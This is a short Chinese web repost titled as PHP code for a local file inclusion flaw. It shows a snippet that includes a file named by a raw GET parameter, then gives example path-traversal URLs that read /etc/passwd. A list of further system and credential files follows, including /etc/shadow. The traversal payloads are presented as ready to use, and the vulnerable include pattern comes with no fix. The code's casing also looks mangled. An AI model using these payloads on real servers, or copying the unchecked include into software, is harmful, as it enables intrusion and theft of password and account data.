php 伪造本地文件包含漏洞的代码

前端之家收集整理的这篇文章主要介绍了php 伪造本地文件包含漏洞的代码前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

代码:
<div class="codetitle"><a style="CURSOR: pointer" data="14167" class="copybut" id="copybut14167" onclick="doCopy('code14167')"> 代码如下:

<div class="codebody" id="code14167">
<?PHP
$page=$_GET['page'];
include($page.'PHP');
?>

你可以这样使用
http://www.xxx.com/index.PHP?page=../etc/passwd
http://www.xxx.com/index.PHP?page=../../../etc/passwd
http://www.xxx.com/index.PHP?page=..../../etc/passwd 获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default 来自hackteach

猜你在找的PHP相关文章